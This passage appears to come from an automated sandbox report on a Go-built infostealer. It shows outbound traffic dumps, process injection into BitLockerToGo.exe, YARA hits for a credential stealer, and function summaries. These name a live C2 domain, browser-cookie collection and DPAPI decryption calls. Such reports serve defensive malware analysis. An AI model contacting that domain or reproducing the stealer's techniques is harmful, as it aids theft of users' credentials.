d5 90 8f 92 60 fc b8 35 f0 43 fc 9c 4f 9a 2c af b7 Data Ascii: WTfg5EkS)b1Z.^W(9IQ??6*;olrVc/hhU5sNEH.n):`/GmH{F)GnFd&D;z[O}V>$\|1ooN!Hq>=Wjf< <]wf#WTIfQ?~gDF=`5CO,
2024-07-05 04:03:18 UTC	15331	OUT	Data Raw: 39 df 7a af 7f db bc 3f bb 69 25 4c 59 79 fb d1 bc 48 9a f9 c2 5c a6 b7 11 f1 ac fc 1f 78 7c 92 4d 6e 81 0f 4c 60 c1 b8 21 b2 72 be c5 96 a1 44 c6 f7 43 d6 9b bb 78 9c 10 1f 9a 42 40 33 01 ce c8 43 39 f1 56 42 7f 30 1e 6f b6 3c dc de b5 96 78 45 78 21 e7 f5 da c4 5c 57 d0 b1 f3 0f 6d 77 b2 ee bf 67 3d 17 97 b5 6e 3e 22 2c 6e 07 cc 31 17 85 8d 06 c4 7c f2 37 e4 e6 c2 3d 9f a1 0c 7c f6 24 56 0a cf b8 9b a5 71 f7 fe 7b 66 f6 df 02 2c 00 97 34 18 97 2c 86 ae 73 37 52 cb 1f 13 97 34 cd a4 d7 97 2e 51 0b fd 42 86 e0 5c c7 bf 84 59 39 ce ae ba 43 cc e8 83 56 f9 d4 a7 81 f1 15 8d dc 8f 66 8b 93 48 a7 57 09 b5 b0 5d 4f d7 7e aa 3f 8f 6f 45 70 8d 6e be c9 75 e1 64 d7 a3 82 c9 59 30 c3 7f bd c8 f9 32 80 d2 5c 1b f1 fd 76 52 8b ad 10 31 70 89 fa f0 da 35 b6 ce 76 96 Data Ascii: 9z?i%LYyH\x\|MnL`!rDCxB@3C9VB0o<xEx!\Wmwg=n>",n1\|7=\|$Vq{f,4,s7R4.QB\Y9CVfHW]O~?oEpnudY02\vR1p5v
2024-07-05 04:03:18 UTC	15331	OUT	Data Raw: 4a 24 a2 a0 32 01 80 61 67 d4 12 03 38 57 38 85 e9 a2 b1 6b 5a cf 94 15 a0 dd 24 73 86 b9 86 e0 f7 db 64 38 89 64 7c 70 e3 6d 85 a5 1a c3 1b b1 43 36 fe 41 f8 65 61 ba 1e 6c e7 e2 d0 85 41 fc 63 aa 0a 89 ff 41 04 b9 04 40 42 45 c4 6f b2 28 b3 23 b3 bd 65 bc 03 8f ce 63 51 11 b8 01 a8 0c fb ad c6 9e 22 f8 ea 98 89 55 90 20 17 b3 f9 0e 79 28 ab 72 1f cc fd 48 6a c8 ba 72 0b d7 21 86 a0 56 e3 0f bf 6d fa 7a 26 09 24 d3 b1 f0 c9 ba a2 8b e2 b1 57 78 ef 7f 34 69 ba 50 0d 3a 57 ab 89 80 d4 0c 7b f7 dd 35 81 db 0b c7 15 b8 9b 11 5e 2e 6d bd 9b 4b 01 c9 be 6e 7b cb 04 de c3 52 f7 93 2c cc 0f f2 1a 14 21 6f 21 01 a4 7a 93 c7 0b 99 e7 75 49 0c 3b 4f d8 88 7c 08 46 40 7c f4 54 5b 8c 97 85 79 09 62 af 48 fb d2 85 d3 e4 13 ab e6 5d f8 2c 86 9c a4 a4 0c 21 ce 40 76 e5 Data Ascii: J$2ag8W8kZ$sd8d\|pmC6AealAcA@BEo(#ecQ"U y(rHjr!Vmz&$Wx4iP:W{5^.mKn{R,!o!zuI;O\|F@\|T[ybH],!@v
2024-07-05 04:03:18 UTC	15331	OUT	Data Raw: 2e 40 f0 43 bc 16 53 02 e9 32 5e 89 54 40 4d 45 68 76 dd 03 66 17 78 85 1b 24 0f f8 22 8d 28 78 0f ea 31 d4 03 90 1e 75 f1 06 65 0b a4 01 4e cd b8 78 33 42 04 53 ad 8c d2 4d 0b 82 2b 64 cf 43 28 21 6c 3c d2 97 bf 4e 93 a1 fc c6 7a 71 d7 8e b9 34 e2 0d 42 ba 8f 86 a9 84 d3 7d 4a d6 ae cd 4c ac 8d 78 10 16 a4 17 e8 5f e6 58 c8 5f 90 18 d7 a4 ff 5e d4 94 7c d3 f5 a4 b4 8a 73 4e 3e 4b 8f ac 3a b2 ac 29 ff eb 12 7a f0 52 97 e4 8b 43 27 ac 76 9f 97 18 7f 6b 8a 5c a7 fe 5d e1 e4 15 d8 51 b3 26 15 fc 88 ea dd e8 2a 2f 27 8a 72 66 f9 8d 32 74 05 9d a2 94 69 25 d5 9d 20 a2 5e 12 5b 5c bb 30 9c 5b 3d ae d9 3e c8 84 98 6f 04 bf 67 f9 fc 58 b1 9e ea 91 7b b1 3c 83 f6 83 fc 03 30 5c 3d 64 51 82 cb 1a 8c 61 ff 6d 6f fb f1 a5 32 99 74 03 4d eb 98 bd db 2a b2 58 a0 0f 48 Data Ascii: .@CS2^T@MEhvfx$"(x1ueNx3BSM+dC(!l<Nzq4B}JLx_X_^\|sN>K:)zRC'vk\]Q&/'rf2ti% ^[\0[=>ogX{<0\=dQamo2tMXH
2024-07-05 04:03:21 UTC	812	IN	HTTP/1.1 200 OK Date: Fri, 05 Jul 2024 04:03:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=k452lh6ii6q8nskt42k6jpljgv; expires=Mon, 28-Oct-2024 21:49:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=G6hSoUDcHVe%2BY%2Bo6YePx3XxXy2Irmhkg1wPJ5u6otiqUhawHijKjPsEB6ih%2FqwF2uJIAovqUwDegRRnUUgVEu78m0oL0zoKnRhF2fYZd114Pb0k3K1bgrJP%2BBkjc7TPqhQIzxjqK%2BmJeTScg"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 89e476ebd8a84237-EWR alt-svc: h3=":443"; ma=86400

Target ID:	0
Start time:	00:02:57
Start date:	05/07/2024
Path:	C:\Users\user\Desktop\6xmBUtHylU.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\6xmBUtHylU.exe"
Imagebase:	0x7ff67f190000
File size:	6'814'720 bytes
MD5 hash:	B82C80A3CE9B5C44391D3F11307F8B8E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Go lang
Yara matches:	Rule: Msfpayloads_msf_9, Description: Metasploit Payloads - file msf.war - contents, Source: 00000000.00000002.2208741125.000000C000374000.00000004.00001000.00020000.00000000.sdmp, Author: Florian Roth
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	00:03:08
Start date:	05/07/2024
Path:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
Imagebase:	0x320000
File size:	231'736 bytes
MD5 hash:	A64BEAB5D4516BECA4C40B25DC0C1CD8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000003.2279134881.0000000002884000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000003.2279475230.0000000002886000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000003.2227392089.0000000002885000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000003.2265630337.0000000002885000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000003.2250362177.0000000002885000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000003.2265630337.0000000002831000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000003.2238156888.0000000002885000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000003.2250362177.0000000002831000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000003.2279583257.000000000283E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000003.2279134881.0000000002831000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	15.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	40.6%
Total number of Nodes:	315
Total number of Limit Nodes:	11

Executed Functions

Function 0025E680 Relevance: 42.2, APIs: 6, Strings: 18, Instructions: 174
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserCallbackDispatcher.NTDLL ref: 0025E6CA
GetSystemMetrics.USER32 ref: 0025E6DD
DeleteObject.GDI32 ref: 0025E747
SelectObject.GDI32 ref: 0025E799
SelectObject.GDI32 ref: 0025E80C
DeleteObject.GDI32 ref: 0025E846

Strings

=%, xrefs: 0025E93B
d%, xrefs: 0025E993
%, xrefs: 0025E8A1
d%, xrefs: 0025E8EE
d%, xrefs: 0025E8CD
d%, xrefs: 0025E99E
d%, xrefs: 0025E951
d%, xrefs: 0025E8C2
d%, xrefs: 0025E91A
d%, xrefs: 0025E90F
d%, xrefs: 0025E925
d%, xrefs: 0025E8E3
d%, xrefs: 0025E988
0%, xrefs: 0025E930
%, xrefs: 0025E8F9
d%, xrefs: 0025E95C
d%, xrefs: 0025E967
, xrefs: 0025E7DB

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID: Object$DeleteSelect$CallbackDispatcherMetricsSystemUser
String ID: %$ $0%$=%$d%$d%$d%$d%$d%$d%$d%$d%$d%$d%$d%$d%$d%$%
API String ID: 1449868515-3877251930
Opcode ID: 8c10c3568b3d2cc95893da5cc164a9dbc802a1e7b36923cc51df75e45fcd38a9
Instruction ID: 8cbc8028599e4161cfe7936fb7de0aa996f67dba11790ebd307913682356b689
Opcode Fuzzy Hash: 8c10c3568b3d2cc95893da5cc164a9dbc802a1e7b36923cc51df75e45fcd38a9
Instruction Fuzzy Hash: BEA169B8519384CFD364EF29D549B8EBBE0BB86308F01891DE4989B350D7B49958CF83

Function 00250BD0 Relevance: 11.5, Strings: 9, Instructions: 288
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

>] _, xrefs: 00250C31
6U3W, xrefs: 00250C21
%M#O, xrefs: 00250C51
]!L#, xrefs: 00250BF9
i[k, xrefs: 00250E95
J9t;, xrefs: 00250C98
\9V;, xrefs: 00250E26
2qps, xrefs: 00250C59
M-P/, xrefs: 00250C11

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: %M#O$2qps$6U3W$>] _$J9t;$M-P/$\9V;$]!L#$i[k
API String ID: 0-229164349
Opcode ID: be216cfc19fc37cba791122f34637780977f9b688bb577a6aa96b9ab978fc0fa
Instruction ID: a9c25398d451c8176f8b4af4255b80e9c6a7a5d708ad25a43d33b15c6f077232
Opcode Fuzzy Hash: be216cfc19fc37cba791122f34637780977f9b688bb577a6aa96b9ab978fc0fa
Instruction Fuzzy Hash: 059197B15183019BD314CF08C891B6BBBF1EF85758F188A1DF8C98B291E774D955CB8A

Function 0024E880 Relevance: 9.3, Strings: 7, Instructions: 548
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

sm, xrefs: 0024ED76
~w, xrefs: 0024EF4E
`w, xrefs: 0024EF56
cw, xrefs: 0024ED66
IK, xrefs: 0024EB90
pD, xrefs: 0024ED6E
b6, xrefs: 0024ED5E

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: `w$b6$cw$pD$sm$~w$IK
API String ID: 0-200013828
Opcode ID: d56207edc5df73067c3cb23cc7f5528efc44b285c30c6587dc332019aba30a87
Instruction ID: af2394fc85c973728bc9ae6bc369fcfdeb6eb01f12b85ef56b5d54afe34af40f
Opcode Fuzzy Hash: d56207edc5df73067c3cb23cc7f5528efc44b285c30c6587dc332019aba30a87
Instruction Fuzzy Hash: 091264B02183819FD728DF14D89076BBBF1FF85348F448A2CE4DA9B291D7749946CB86

Function 0023F490 Relevance: 9.0, Strings: 7, Instructions: 264
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

y{, xrefs: 0023F6ED
~q, xrefs: 0023F842
Nxav, xrefs: 0023F538
imk/, xrefs: 0023F56F
Fty~, xrefs: 0023F52D
}NQ~, xrefs: 0023F543
citizencenturygoodwk.shop, xrefs: 0023F908

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: Fty~$Nxav$citizencenturygoodwk.shop$imk/$}NQ~$~q$y{
API String ID: 0-1436070459
Opcode ID: 2688bfa67c234044be391b1faf937c4f2d5bfc0d670027e0dd8eda5ed911e1cf
Instruction ID: 9a41ac17dbffe10a05678dd9eb5e0f85425e34e27d91bfc3d375d0e59c4cf59d
Opcode Fuzzy Hash: 2688bfa67c234044be391b1faf937c4f2d5bfc0d670027e0dd8eda5ed911e1cf
Instruction Fuzzy Hash: 18B186B05493C28BD3308F14D594BABBBE1BFC6318F184A6CD4E86B262D33459458B96

Function 00239C30 Relevance: 8.0, Strings: 6, Instructions: 470
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

N\KO, xrefs: 00239D58
@A, xrefs: 0023A24F
MT, xrefs: 0023A07B
D=C?, xrefs: 0023A132
RZ, xrefs: 0023A2C4, 0023A2E1
0, xrefs: 00239C90

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 0$@A$D=C?$MT$N\KO$RZ
API String ID: 0-3970104136
Opcode ID: 7c635f16c986e7b9e7db33a05ddff2aed9ebf9d5085147d8a85ec44971303022
Instruction ID: 380879797b187d1850263fa619dea1df1d073bc6f639667b8e9ecff8be8089b5
Opcode Fuzzy Hash: 7c635f16c986e7b9e7db33a05ddff2aed9ebf9d5085147d8a85ec44971303022
Instruction Fuzzy Hash: AA0242B0218381AFD314CF24C490B6BBBE2ABC5744F14992DF4DA8B391D779D84ADB52

Function 00258C4B Relevance: 7.5, APIs: 2, Strings: 2, Instructions: 477
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExA.KERNELBASE(00000006,?,?), ref: 00258C7F
GetComputerNameExA.KERNELBASE(00000005,?,?), ref: 00258D9F

Strings

~H@^, xrefs: 002590E6
C@@I, xrefs: 00258DAD

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID: ComputerName
String ID: C@@I$~H@^
API String ID: 3545744682-4183127737
Opcode ID: 40db6bf8cd5ca8e4e63e829d25f93f7d06c3f9d5189734c7bd6c718e0058fe7b
Instruction ID: 0cce9864cea07caaed9a87717f90ec85729f34c60229c38869cf2967a5fda539
Opcode Fuzzy Hash: 40db6bf8cd5ca8e4e63e829d25f93f7d06c3f9d5189734c7bd6c718e0058fe7b
Instruction Fuzzy Hash: DAF19D70110B828FD725CF29C490B62FBF1BF56305F188A8DD8E68B792CB75A859CB54

Function 00250FBC Relevance: 6.7, Strings: 5, Instructions: 456
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

1I1O, xrefs: 00250FC4
1M9C, xrefs: 00250FCC
)E({, xrefs: 00250FDC
6A6G, xrefs: 00250FD4
:U"K, xrefs: 00251158

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: )E({$1I1O$1M9C$6A6G$:U"K
API String ID: 0-2515482740
Opcode ID: 0e053627b820832c178c70764854b2aca3cce5e0b81dc7b59eb4f69ac3346932
Instruction ID: 6ef6893b52d037ea028a36139fe27dfdf7ddd667e82efd3c69ccdd1586d56a0b
Opcode Fuzzy Hash: 0e053627b820832c178c70764854b2aca3cce5e0b81dc7b59eb4f69ac3346932
Instruction Fuzzy Hash: 3AF199B0228341DFE724CF24D894B6BBBE1FBC5344F14892CE9898B2A1DB74D855CB56

Function 0024709B Relevance: 5.8, Strings: 4, Instructions: 782
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(, xrefs: 00247C5E
bK, xrefs: 00247223
[info] collected cookies file of the chromium-based browser[info] collected cookies file of the chromium-based browser, xrefs: 00247CE7
zy, xrefs: 00247172

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: ($[info] collected cookies file of the chromium-based browser[info] collected cookies file of the chromium-based browser$bK$zy
API String ID: 0-201287715
Opcode ID: ef951401f10c4ad3ba310d74e664e437bc532f0a26884c7ff4f82f94850f2d18
Instruction ID: 98aa773badf54307be971ed449613e0b5b457a7a2f3ac802cb40319e0e756a97
Opcode Fuzzy Hash: ef951401f10c4ad3ba310d74e664e437bc532f0a26884c7ff4f82f94850f2d18
Instruction Fuzzy Hash: 7F5298B16183418BD728CF14C49076BBBE2FFC5358F18891CE8DA9B391E7349959CB86

Function 0024662A Relevance: 4.3, Strings: 3, Instructions: 535COMMON

Download Yara Rule

Strings

# '", xrefs: 002468AA
8, xrefs: 002466EE
.., xrefs: 002468B2

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: # '"$..$8
API String ID: 0-2078804138
Opcode ID: ce146192f420846baf2a8adff7522c9e6a1bddcd6a961f533d13c285e8f66db9
Instruction ID: 2e4ac73aa4b70d1afc9e9553ad8b4c8c89e10e7e7efc1961a8f2621d6a8c5c0b
Opcode Fuzzy Hash: ce146192f420846baf2a8adff7522c9e6a1bddcd6a961f533d13c285e8f66db9
Instruction Fuzzy Hash: 2B02B7B29283428FD704DF28D885A6BB7E1FF86308F08492DF49587251E775D929CB93

Function 00263425 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

GetVolumeInformationW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 00263495

Strings

\, xrefs: 00263460

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID: InformationVolume
String ID: \
API String ID: 2039140958-2967466578
Opcode ID: 8dd77cf3231da489d40f786eb88a00d3723f290159b009829298c694924614ac
Instruction ID: f63fc3f7949787d4f4e8fa34d33f58cb2ecf81993473699f3627945abfe85549
Opcode Fuzzy Hash: 8dd77cf3231da489d40f786eb88a00d3723f290159b009829298c694924614ac
Instruction Fuzzy Hash: E5011D74695340FAF6249F10ED0BF2AB6A5AB84F08F20981CB34C7A1D1DAF0B955CA5D

Function 00234C50 Relevance: 2.9, Strings: 2, Instructions: 402COMMON

Download Yara Rule

Strings

IEND, xrefs: 002350C1
), xrefs: 00234CC5

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: )$IEND
API String ID: 0-707183367
Opcode ID: d20be4de738b4abbba78e0010ba43acb04f9904f8ebe33d724b347dde21e6c9e
Instruction ID: 4c82c90b6f608a9782aa34ff18105d9facb7dc25a84a082fb6e1b07d99d90d3d
Opcode Fuzzy Hash: d20be4de738b4abbba78e0010ba43acb04f9904f8ebe33d724b347dde21e6c9e
Instruction Fuzzy Hash: 2DE1F0B1A183459FD710DF28D88075BBBE1AB98308F14892DF9989B382D775ED15CBC2

Function 00246790 Relevance: 2.9, Strings: 2, Instructions: 400COMMON

Download Yara Rule

Strings

# '", xrefs: 002468AA
.., xrefs: 002468B2

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: # '"$..
API String ID: 0-4124739383
Opcode ID: 59a402ad5122dd026dd375a25ad053e46d45a5f9e7908db39dc8215441c5ed5c
Instruction ID: c96681353bd8c0a10138dfc6bd8ff4fe8bc7657d6371812f1b78bec2395f7a32
Opcode Fuzzy Hash: 59a402ad5122dd026dd375a25ad053e46d45a5f9e7908db39dc8215441c5ed5c
Instruction Fuzzy Hash: D7D1B7B19283428BC708DF28D88566BB7E1FF86308F08492DE89597351E775D929CB93

Function 00251910 Relevance: 2.9, Strings: 2, Instructions: 399COMMON

Download Yara Rule

Strings

Psm`, xrefs: 00251D46
avub, xrefs: 00251CFF

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: Psm`$avub
API String ID: 0-1111646547
Opcode ID: 0516f83b62a76c7914842f728a13b4d13d4e0290d24b932dacc389e318782292
Instruction ID: 1c7ae2673d10f042ccc5262cdd260a56f664bf81297cb6044323f7421578496e
Opcode Fuzzy Hash: 0516f83b62a76c7914842f728a13b4d13d4e0290d24b932dacc389e318782292
Instruction Fuzzy Hash: D1C1F1B1A283028BD714DF18C891B2BB7E1EF94356F144A2DE8C587351E375DC68CB9A

Function 00245C00 Relevance: 2.9, Strings: 2, Instructions: 366COMMON

Download Yara Rule

Strings

gdeb, xrefs: 00245EF6
2]$, xrefs: 00245D27

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 2]$$gdeb
API String ID: 0-447610410
Opcode ID: 6e306f29005c97e8c1dcfd278a4e092b541f7c9d9d2b4756df2857c574420c0b
Instruction ID: 5e0884013899abf3b663acb38ccc78a68d3ab33fd3f89096d86d12dfb7328a5f
Opcode Fuzzy Hash: 6e306f29005c97e8c1dcfd278a4e092b541f7c9d9d2b4756df2857c574420c0b
Instruction Fuzzy Hash: 81A12571A24321DBC728DF18CC9267BB3A1FF95314F49452CF8C68B292E7349920C792

Function 00246CD0 Relevance: 1.8, APIs: 1, Instructions: 305encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00246E95

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: b5d32d1a92acb50e6fc49fb51257e74ceee8de3a7188df1da9336d643bf4d166
Instruction ID: df060103b00b8ed06e3a53df980447bc7141fa3a086a9461bade0a4263fa7525
Opcode Fuzzy Hash: b5d32d1a92acb50e6fc49fb51257e74ceee8de3a7188df1da9336d643bf4d166
Instruction Fuzzy Hash: E8A1E0B1A18381CFC718CF18C851A6BBBE2EF86354F08495DF4968B791D770E855CB82

Function 00265512 Relevance: 1.5, APIs: 1, Instructions: 14memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000), ref: 00265516

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 446bb3dd99f337085344ef983c6628913db96edda16ac3f53183ab26ac6adaf0
Instruction ID: ac7eadb5fe761144490fdffd129b6458afa4957a17de2a4ef8715d903eb135b2
Opcode Fuzzy Hash: 446bb3dd99f337085344ef983c6628913db96edda16ac3f53183ab26ac6adaf0
Instruction Fuzzy Hash: B9C08C30AD840056E10CCF10EC20F32F26E8B86309F14A008800923392C4A0D492511C

Function 00267840 Relevance: 1.5, APIs: 1, Instructions: 12libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(0026A75C,005C003F,00000006,00120089,?,00000018,8A858487,00000000,00245CFA), ref: 00267866

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 3af67e3b8a4cf002b2d8122619789f5e408d063de0ae60c6913db66b84c766ee
Instruction ID: 9a2a3e30e6272c7ba4599b7d5b49d8b1df743313db24dc7d28a19b0c9381744b
Opcode Fuzzy Hash: 3af67e3b8a4cf002b2d8122619789f5e408d063de0ae60c6913db66b84c766ee
Instruction Fuzzy Hash: 82D04875908216AB9A09CF44C54040EFBE6BFC4714F228C8EA88873214C3B0BD46EB82

Function 00248088 Relevance: .5, Instructions: 500COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c05a0fcfc4dd6fdb13bd668f8f81325eadacf9737250c536f16cf8726166f1f7
Instruction ID: 6fad488f3b93b0bf76c56b14df0fbeddc09ce30f520b7d96b5202747010dbd2b
Opcode Fuzzy Hash: c05a0fcfc4dd6fdb13bd668f8f81325eadacf9737250c536f16cf8726166f1f7
Instruction Fuzzy Hash: 0DE1F4B1620701CFC728CF18C8A1A66B7F1FF99314B19859DD89A8F791EB74E851CB90

Function 0024AF90 Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 063b7e355c6ed8e3c2d4d90a9fe9593c05cd03a15dc1441d82070766a1440bd6
Instruction ID: ed9727127b00cf5759180b253bf337447d1951f627b925255942ec3157cd336e
Opcode Fuzzy Hash: 063b7e355c6ed8e3c2d4d90a9fe9593c05cd03a15dc1441d82070766a1440bd6
Instruction Fuzzy Hash: C24133715183118BC304CF18D8946ABB7F0EFC6769F048A1CF8A94B2A1E774C999C792

Function 0025E089 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2327962631.0000000000230000.00000040.00000400.00020000.00000000.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a54390c2ce96f46f118c01d70b6a37f7567bf6128a91dbf51fae7463c3fea1c
Instruction ID: a38bc8e61b8f595f325b4bced9e355af624e748b149093a0c2e6b2f6f6c575e3
Opcode Fuzzy Hash: 8a54390c2ce96f46f118c01d70b6a37f7567bf6128a91dbf51fae7463c3fea1c
Instruction Fuzzy Hash: 53F03AB4518341CFC320DF24C50838BB7E4BB84314F418A1CD8A847254DBB1A5848F82

Function 0023A310 Relevance: 119.7, APIs: 1, Strings: 67, Instructions: 709
